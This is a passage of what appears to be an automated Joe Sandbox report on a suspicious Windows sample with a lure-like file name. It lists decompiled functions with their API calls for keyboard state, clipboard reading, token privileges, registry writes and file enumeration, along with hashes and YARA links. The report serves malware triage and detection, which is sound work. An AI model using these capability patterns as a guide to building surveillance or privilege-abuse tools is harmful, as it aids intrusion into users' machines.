                                                • keybd_event.USER32(00000012,00000000), ref: 00DBDB38
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00DBDB42
                                                • keybd_event.USER32(00000012,00000000), ref: 00DBDB47
                                                • SetForegroundWindow.USER32(?), ref: 00DBDB4A
                                                • AttachThreadInput.USER32(?,?,00000000), ref: 00DBDB71
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 4125248594-2988720461
                                                • Opcode ID: be3fc0d4291064f6446993747df3ced5ed878e42dac2f4ec207b62a218714b88
                                                • Instruction ID: 0b73ddd8b4e5eee6ed774a7625cd0ed30dd5be26d9623e87e92737924d3eee0f
                                                • Opcode Fuzzy Hash: be3fc0d4291064f6446993747df3ced5ed878e42dac2f4ec207b62a218714b88
                                                • Instruction Fuzzy Hash: C5318471A40318BEEB306F629C49FBE7E6DEB44B50F154025FA01B61D0D6B25D50ABA4
                                                Function 00DD8858 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00DD8D0D
                                                  • Part of subcall function 00DD8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00DD8D3A
                                                  • Part of subcall function 00DD8CC3: GetLastError.KERNEL32 ref: 00DD8D47
                                                • _memset.LIBCMT ref: 00DD889B
                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00DD88ED
                                                • CloseHandle.KERNEL32(?), ref: 00DD88FE
                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00DD8915
                                                • GetProcessWindowStation.USER32 ref: 00DD892E
                                                • SetProcessWindowStation.USER32(00000000), ref: 00DD8938
                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00DD8952
                                                  • Part of subcall function 00DD8713: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00DD8851), ref: 00DD8728
                                                  • Part of subcall function 00DD8713: CloseHandle.KERNEL32(?,?,00DD8851), ref: 00DD873A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                • String ID: $default$winsta0
                                                • API String ID: 2063423040-1027155976
                                                • Opcode ID: d8efd202333d711c7dac71f186936e8f0d7b8080aa430ffe4beea87d1b8d026c
                                                • Instruction ID: b273a93c12f9dd65c2150e828b7617fc1bcf85d5e035ba197a94430d316a5358
                                                • Opcode Fuzzy Hash: d8efd202333d711c7dac71f186936e8f0d7b8080aa430ffe4beea87d1b8d026c
                                                • Instruction Fuzzy Hash: 32812B71900209AFDF22DFA5DC45AEE7BB8EF04305F18516AF910B6261DB728E54EB70
                                                Function 00DF425A Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • OpenClipboard.USER32(00E0F910), ref: 00DF4284
                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 00DF4292
                                                • GetClipboardData.USER32(0000000D), ref: 00DF429A
                                                • CloseClipboard.USER32 ref: 00DF42A6
                                                • GlobalLock.KERNEL32(00000000), ref: 00DF42C2
                                                • CloseClipboard.USER32 ref: 00DF42CC
                                                • GlobalUnlock.KERNEL32(00000000,00000000), ref: 00DF42E1
                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 00DF42EE
                                                • GetClipboardData.USER32(00000001), ref: 00DF42F6
                                                • GlobalLock.KERNEL32(00000000), ref: 00DF4303
                                                • GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 00DF4337
                                                • CloseClipboard.USER32 ref: 00DF4447
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                • String ID:
                                                • API String ID: 3222323430-0
                                                • Opcode ID: 2cbfceb64ec51994544db1773599d372fc9ff2329bd0412ade3e34b21ee773b1
                                                • Instruction ID: f36dff78499339b814d4debfa20f107493df9bf9b8a20e308ce46fa69f2493fb
                                                • Opcode Fuzzy Hash: 2cbfceb64ec51994544db1773599d372fc9ff2329bd0412ade3e34b21ee773b1
                                                • Instruction Fuzzy Hash: 3F51BE31204205AFD320FF61EC95F7F77A8EB84B00F158529F696E21A1DB71D9488BB2
                                                Function 00DEC9C7 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00DEC9F8
                                                • FindClose.KERNEL32(00000000), ref: 00DECA4C
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00DECA71
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00DECA88
                                                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00DECAAF
                                                • __swprintf.LIBCMT ref: 00DECAFB
                                                • __swprintf.LIBCMT ref: 00DECB3E
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                • __swprintf.LIBCMT ref: 00DECB92
                                                  • Part of subcall function 00DA38D8: __woutput_l.LIBCMT ref: 00DA3931
                                                • __swprintf.LIBCMT ref: 00DECBE0
                                                  • Part of subcall function 00DA38D8: __flsbuf.LIBCMT ref: 00DA3953
                                                  • Part of subcall function 00DA38D8: __flsbuf.LIBCMT ref: 00DA396B
                                                • __swprintf.LIBCMT ref: 00DECC2F
                                                • __swprintf.LIBCMT ref: 00DECC7E
                                                • __swprintf.LIBCMT ref: 00DECCCD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                                • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                • API String ID: 3953360268-2428617273
                                                • Opcode ID: 927f45f40e1f96b97efd29a03ada1f98b4ce561c111c0234fa7916d55bbd29de
                                                • Instruction ID: ef1fb164dba5dce134d327244cde38e330673f23989fe1cba2e81607e9794fb2
                                                • Opcode Fuzzy Hash: 927f45f40e1f96b97efd29a03ada1f98b4ce561c111c0234fa7916d55bbd29de
                                                • Instruction Fuzzy Hash: 02A13DB2508344ABC714FBA5C895DBFB7ECEF94700F440929F58692191EB34EA49CB72
                                                Function 00DEF200 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 00DEF221
                                                • _wcscmp.LIBCMT ref: 00DEF236
                                                • _wcscmp.LIBCMT ref: 00DEF24D
                                                • GetFileAttributesW.KERNEL32(?), ref: 00DEF25F
                                                • SetFileAttributesW.KERNEL32(?,?), ref: 00DEF279
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00DEF291
                                                • FindClose.KERNEL32(00000000), ref: 00DEF29C
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00DEF2B8
                                                • _wcscmp.LIBCMT ref: 00DEF2DF
                                                • _wcscmp.LIBCMT ref: 00DEF2F6
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00DEF308
                                                • SetCurrentDirectoryW.KERNEL32(00E3A5A0), ref: 00DEF326
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00DEF330
                                                • FindClose.KERNEL32(00000000), ref: 00DEF33D
                                                • FindClose.KERNEL32(00000000), ref: 00DEF34F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                • String ID: *.*
                                                • API String ID: 1803514871-438819550
                                                • Opcode ID: 9bca8a91b9969f5c30be0fcc9f3502244aea3bc241d9ab57bac596853a26efb7
                                                • Instruction ID: 8f29cb5b9819a7966cc9964fd09d78632e8febe1e75a19144da1a06f77b0ae58
                                                • Opcode Fuzzy Hash: 9bca8a91b9969f5c30be0fcc9f3502244aea3bc241d9ab57bac596853a26efb7
                                                • Instruction Fuzzy Hash: CA31E3765002496FDB20EBB2DC48ADE77ACAF09321F180175F914E30A0EB31DA95CA74
                                                Function 00E00AE2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E00BDE
                                                • RegCreateKeyExW.ADVAPI32(?,?,00000000,00E0F910,00000000,?,00000000,?,?), ref: 00E00C4C
                                                • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00E00C94
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00E00D1D
                                                • RegCloseKey.ADVAPI32(?), ref: 00E0103D
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00E0104A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Close$ConnectCreateRegistryValue
                                                • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                • API String ID: 536824911-966354055
                                                • Opcode ID: dd0073905ba4f921367823239b516de17beeca7d0d35235dbf0609d71ae544cf
                                                • Instruction ID: da4728d917af9f572006a5365b59dc8c1568e720cf31f3b9cfeff7d2a0519ec0
                                                • Opcode Fuzzy Hash: dd0073905ba4f921367823239b516de17beeca7d0d35235dbf0609d71ae544cf
                                                • Instruction Fuzzy Hash: 52025F752006119FCB14EF24C895E2AB7E5FF89714F04985DF88AAB3A1CB34ED45CBA1
                                                Function 00DEF35D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 00DEF37E
                                                • _wcscmp.LIBCMT ref: 00DEF393
                                                • _wcscmp.LIBCMT ref: 00DEF3AA
                                                  • Part of subcall function 00DE45C1: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00DE45DC
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00DEF3D9
                                                • FindClose.KERNEL32(00000000), ref: 00DEF3E4
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00DEF400
                                                • _wcscmp.LIBCMT ref: 00DEF427
                                                • _wcscmp.LIBCMT ref: 00DEF43E
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00DEF450
                                                • SetCurrentDirectoryW.KERNEL32(00E3A5A0), ref: 00DEF46E
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00DEF478
                                                • FindClose.KERNEL32(00000000), ref: 00DEF485
                                                • FindClose.KERNEL32(00000000), ref: 00DEF497
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                • String ID: *.*
                                                • API String ID: 1824444939-438819550
                                                • Opcode ID: a3a434ee49b8e6c55a36c7ac38b90926950f2a114166dcf4b23009c4c947dedd
                                                • Instruction ID: d7cfebe2d53b3b2372f2eb1574da119cf7073bbbe24e8c12b75943ccb816ce16
                                                • Opcode Fuzzy Hash: a3a434ee49b8e6c55a36c7ac38b90926950f2a114166dcf4b23009c4c947dedd
                                                • Instruction Fuzzy Hash: DA31E5725012596FCB20BFA6EC88ADE77AC9F49320F180175F840A30E0DB31DA94CA70
                                                Function 00DD81F7 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00DD8766
                                                  • Part of subcall function 00DD874A: GetLastError.KERNEL32(?,00DD822A,?,?,?), ref: 00DD8770
                                                  • Part of subcall function 00DD874A: GetProcessHeap.KERNEL32(00000008,?,?,00DD822A,?,?,?), ref: 00DD877F
                                                  • Part of subcall function 00DD874A: HeapAlloc.KERNEL32(00000000,?,00DD822A,?,?,?), ref: 00DD8786
                                                  • Part of subcall function 00DD874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00DD879D
                                                  • Part of subcall function 00DD87E7: GetProcessHeap.KERNEL32(00000008,00DD8240,00000000,00000000,?,00DD8240,?), ref: 00DD87F3
                                                  • Part of subcall function 00DD87E7: HeapAlloc.KERNEL32(00000000,?,00DD8240,?), ref: 00DD87FA
                                                  • Part of subcall function 00DD87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00DD8240,?), ref: 00DD880B
                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00DD825B
                                                • _memset.LIBCMT ref: 00DD8270
                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00DD828F
                                                • GetLengthSid.ADVAPI32(?), ref: 00DD82A0
                                                • GetAce.ADVAPI32(?,00000000,?), ref: 00DD82DD
                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00DD82F9
                                                • GetLengthSid.ADVAPI32(?), ref: 00DD8316
                                                • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00DD8325
                                                • HeapAlloc.KERNEL32(00000000), ref: 00DD832C
                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00DD834D
                                                • CopySid.ADVAPI32(00000000), ref: 00DD8354
                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00DD8385
                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00DD83AB
                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00DD83BF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                • String ID:
                                                • API String ID: 3996160137-0
                                                • Opcode ID: 41a51b0e44a868348efdf5d0561f3e9a2325e099312c285ca872be2869cbc4b1
                                                • Instruction ID: 6b48a028dc6d2c357200fffb631351ffd2c38fccf23e6aab457d6060dd294aad
                                                • Opcode Fuzzy Hash: 41a51b0e44a868348efdf5d0561f3e9a2325e099312c285ca872be2869cbc4b1
                                                • Instruction Fuzzy Hash: E7616971900209AFDF11DFA5DC84AEEBBB9FF04700F04812AF815E7291DB319A25DB60
                                                Function 00D96843 Relevance: 19.6, Strings: 15, Instructions: 883COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$PJ$UCP)$UTF)$UTF16)
                                                • API String ID: 0-1624373025
                                                • Opcode ID: 77e27515c62e1d223dc9961997055d051867e01fb5998cc167330e222a4bd066
                                                • Instruction ID: 6cabc60841d4a7985e165c7c10634ab6163673bc8407d41f58278c7cf81ed402
                                                • Opcode Fuzzy Hash: 77e27515c62e1d223dc9961997055d051867e01fb5998cc167330e222a4bd066
                                                • Instruction Fuzzy Hash: 7E725F75E00219EBDF24CF59C8907AEB7B5EF48710F14816AE959EB390E770D981CBA0
                                                Function 00E00665 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00E010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E00038,?,?), ref: 00E010BC
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E00737
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00E007D6
                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00E0086E
                                                • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00E00AAD
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00E00ABA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                • String ID:
                                                • API String ID: 1240663315-0
                                                • Opcode ID: 51d5790c651bc25554f5c38b8a2b0b238c5db1e9d1b69b77cfac5fe70f486ec0
                                                • Instruction ID: d831655c79f2383b06ef2c37f893436b78303a2a5668cf4487e0613c5cd1abb2
                                                • Opcode Fuzzy Hash: 51d5790c651bc25554f5c38b8a2b0b238c5db1e9d1b69b77cfac5fe70f486ec0
                                                • Instruction Fuzzy Hash: 24E13E31204210AFCB14EF25C895E6ABBF4EF89714F04956DF48ADB2A2DB31E945CB61
                                                Function 00DE0219 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?), ref: 00DE0241
                                                • GetAsyncKeyState.USER32(000000A0), ref: 00DE02C2
                                                • GetKeyState.USER32(000000A0), ref: 00DE02DD
                                                • GetAsyncKeyState.USER32(000000A1), ref: 00DE02F7
                                                • GetKeyState.USER32(000000A1), ref: 00DE030C
                                                • GetAsyncKeyState.USER32(00000011), ref: 00DE0324
                                                • GetKeyState.USER32(00000011), ref: 00DE0336
                                                • GetAsyncKeyState.USER32(00000012), ref: 00DE034E
                                                • GetKeyState.USER32(00000012), ref: 00DE0360
                                                • GetAsyncKeyState.USER32(0000005B), ref: 00DE0378
                                                • GetKeyState.USER32(0000005B), ref: 00DE038A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: State$Async$Keyboard
                                                • String ID:
                                                • API String ID: 541375521-0
                                                • Opcode ID: 91ce6b390e322b6b195e1bb2a8e2653e29590b183afa5f3a1c1c0a920bfda471
                                                • Instruction ID: c80619e435d9c7b99a8abc1771da35af81cfb6f0fd736bd58e5c38117d5d29eb
                                                • Opcode Fuzzy Hash: 91ce6b390e322b6b195e1bb2a8e2653e29590b183afa5f3a1c1c0a920bfda471
                                                • Instruction Fuzzy Hash: 0241D8245047CA6FFF31BA6688083A5BEE06F12340F4C409DD6C6565C2EBE59DC8C7B6
                                                Function 00DF86D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • CoInitialize.OLE32 ref: 00DF8718
                                                • CoUninitialize.OLE32 ref: 00DF8723
                                                • CoCreateInstance.OLE32(?,00000000,00000017,00E12BEC,?), ref: 00DF8783
                                                • IIDFromString.OLE32(?,?), ref: 00DF87F6
                                                • VariantInit.OLEAUT32(?), ref: 00DF8890
                                                • VariantClear.OLEAUT32(?), ref: 00DF88F1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                • API String ID: 834269672-1287834457
                                                • Opcode ID: 466f4b0e009fa2444be47f52f2d8253db460b2ffcdc06034bd1959a3206514d6
                                                • Instruction ID: 0f3a3ace6f1ea27b011c1a205381958a1ce89eb9f35bfbe36280f37c8e397b58
                                                • Opcode Fuzzy Hash: 466f4b0e009fa2444be47f52f2d8253db460b2ffcdc06034bd1959a3206514d6
                                                • Instruction Fuzzy Hash: E161AD306083059FC710EF24D848B6ABBE4EF48754F158819FA85AB291CB30ED48DBB3
                                                Function 00DF4458 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                Download Yara Rule
                                                APIs
